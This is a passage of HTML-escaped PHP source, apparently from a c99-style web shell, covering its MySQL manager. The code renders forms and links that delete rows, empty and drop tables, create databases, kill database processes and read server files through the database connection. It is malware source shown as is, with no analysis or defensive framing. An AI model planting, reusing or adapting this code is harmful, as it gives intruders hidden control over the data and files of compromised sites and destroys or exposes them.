       if ($e[1] != $v) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.$sql_tbl.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_order=&amp;quot;.$e[0].&amp;quot;%20&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.$sql_tbl.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_order=&amp;quot;.$s.&amp;quot;%20&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_&amp;quot;.$m.&amp;quot;\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; alt=\&amp;quot;&amp;quot;.$m.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))&lt;br /&gt;
      {&lt;br /&gt;
       echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
       $w = &amp;quot;&amp;quot;;&lt;br /&gt;
       $i = 0;&lt;br /&gt;
       foreach ($row as $k=&amp;gt;$v) {$name = mysql_field_name($result,$i); $w .= &amp;quot; `&amp;quot;.$name.&amp;quot;` = '&amp;quot;.addslashes($v).&amp;quot;' AND&amp;quot;; $i++;}&lt;br /&gt;
       if (count($row) &amp;gt; 0) {$w = substr($w,0,strlen($w)-3);}&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxrow[]\&amp;quot; value=\&amp;quot;&amp;quot;.$w.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       $i = 0;&lt;br /&gt;
       foreach ($row as $k=&amp;gt;$v)&lt;br /&gt;
       {&lt;br /&gt;
        $v = htmlspecialchars($v);&lt;br /&gt;
        if ($v == &amp;quot;&amp;quot;) {$v = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;NULL&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
        echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
        $i++;&lt;br /&gt;
       }&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DELETE FROM `&amp;quot;.$sql_tbl.&amp;quot;` WHERE&amp;quot;.$w.&amp;quot; LIMIT 1;&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_drop\&amp;quot; alt=\&amp;quot;Delete\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl_act=insert&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_insert_q=&amp;quot;.urlencode($w).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; alt=\&amp;quot;Edit\&amp;quot; height=\&amp;quot;14\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      mysql_free_result($result);&lt;br /&gt;
      echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;left\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;select name=\&amp;quot;sql_act\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;deleterow\&amp;quot;&amp;gt;Delete&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW TABLE STATUS&amp;quot;, $sql_sock);&lt;br /&gt;
     if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxtbl_all\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Table&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Rows&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Type&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Created&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Modified&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      $i = 0;&lt;br /&gt;
      $tsize = $trows = 0;&lt;br /&gt;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))&lt;br /&gt;
      {&lt;br /&gt;
       $tsize += $row[&amp;quot;Data_length&amp;quot;];&lt;br /&gt;
       $trows += $row[&amp;quot;Rows&amp;quot;];&lt;br /&gt;
       $size = view_size($row[&amp;quot;Data_length&amp;quot;]);&lt;br /&gt;
       echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxtbl[]\&amp;quot; value=\&amp;quot;&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($row[&amp;quot;Name&amp;quot;]).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Rows&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Type&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Create_time&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Update_time&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$size.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DELETE FROM `&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;`&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_empty\&amp;quot; alt=\&amp;quot;Empty\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DROP TABLE `&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;`&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_drop\&amp;quot; alt=\&amp;quot;Drop\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl_act=insert&amp;amp;sql_tbl=&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_insert\&amp;quot; alt=\&amp;quot;Insert\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
       $i++;&lt;br /&gt;
      }&lt;br /&gt;
      echo &amp;quot;&amp;lt;tr bgcolor=\&amp;quot;000000\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;»&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$i.&amp;quot; table(s)&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$trows.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[10].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[11].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_size($tsize).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;right\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;select name=\&amp;quot;sql_act\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbldrop\&amp;quot;&amp;gt;Drop&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblempty\&amp;quot;&amp;gt;Empty&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbldump\&amp;quot;&amp;gt;Dump&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblcheck\&amp;quot;&amp;gt;Check table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbloptimize\&amp;quot;&amp;gt;Optimize table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblrepair\&amp;quot;&amp;gt;Repair table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblanalyze\&amp;quot;&amp;gt;Analyze table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
      mysql_free_result($result);&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $acts = array(&amp;quot;&amp;quot;,&amp;quot;newdb&amp;quot;,&amp;quot;serverstatus&amp;quot;,&amp;quot;servervars&amp;quot;,&amp;quot;processes&amp;quot;,&amp;quot;getfile&amp;quot;);&lt;br /&gt;
   if (in_array($sql_act,$acts)) {?&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Create new DB:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;newdb&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_newdb&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;View File:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;getfile&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_getfile&amp;quot; size=&amp;quot;30&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_getfile); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Get&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;?php }&lt;br /&gt;
   if (!empty($sql_act))&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    if ($sql_act == &amp;quot;newdb&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;;&lt;br /&gt;
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo &amp;quot;DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot; has been created with success!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else {echo &amp;quot;Can't create DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot;.&amp;lt;br&amp;gt;Reason:&amp;lt;/b&amp;gt; &amp;quot;.mysql_smarterror();}&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;serverstatus&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW STATUS&amp;quot;, $sql_sock);&lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server-status variables:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;servervars&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW VARIABLES&amp;quot;, $sql_sock);&lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server variables:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;processes&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     if (!empty($kill)) {$query = &amp;quot;KILL &amp;quot;.$kill.&amp;quot;;&amp;quot;; $result = mysql_query($query, $sql_sock); echo &amp;quot;&amp;lt;b&amp;gt;Killing process #&amp;quot;.$kill.&amp;quot;... ok. he is dead, amen.&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW PROCESSLIST&amp;quot;, $sql_sock);&lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Processes:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;ID&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;USER&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;HOST&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;DB&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;COMMAND&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;TIME&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;STATE&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;INFO&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[2].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[3].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[4].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[5].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[6].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[7].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=processes&amp;amp;kill=&amp;quot;.$row[0].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;Kill&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
